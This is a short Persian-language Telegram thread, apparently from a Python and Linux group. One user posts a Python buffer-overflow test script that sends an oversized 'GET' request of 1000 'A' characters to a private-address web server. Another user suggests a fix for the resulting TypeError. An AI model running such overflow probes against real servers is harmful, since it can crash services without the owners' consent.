English
Open in Telegram

Thread سلام دوستان من یکمی برنامه نویسیم ضعیفه ممکنه بگین این کد کجاش ایراد داره و اینکه چرا اجرا نمیشه و چیکار کنم تا درست بشه

4 messages · –
A
سلام دوستان من یکمی برنامه نویسیم ضعیفه ممکنه بگین این کد کجاش ایراد داره و اینکه چرا اجرا نمیشه و چیکار کنم تا درست بشه برا تست بافر اور فلو است import socket victim_address="192.168.199.128" victim_port=80 buffer = "Get" + "\x41" * 1000 +" Http/1.1\r\n\r\n" testtsocket=socket.socket(socket.AF_INET,socket.SOCK_STREAM) testtconnect=testtsocket.connect((victim_address,victim_port)) testtsocket.send(buffer)
    1. A
      Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: a bytes-like object is required, not 'str'
      1. E
        داره میگه تابع استرینگ قبول نمیکنه به جای buffer از این استفاده کن ببین درست میشه: buffer.encode()
PPython + Linux ExpertsPython + Linux Experts@PythonLinuxExperts · group · Tech
4 287members19writing in 30 days
Venue feed Open in Telegram

An open public feed from the search index ChatCrawler — “Google for public Telegram”; refreshed as the venue is crawled. Times are UTC.

Public content only, official Telegram API. About · FAQ · Index limits · Remove a page · Catalog · Search · How we count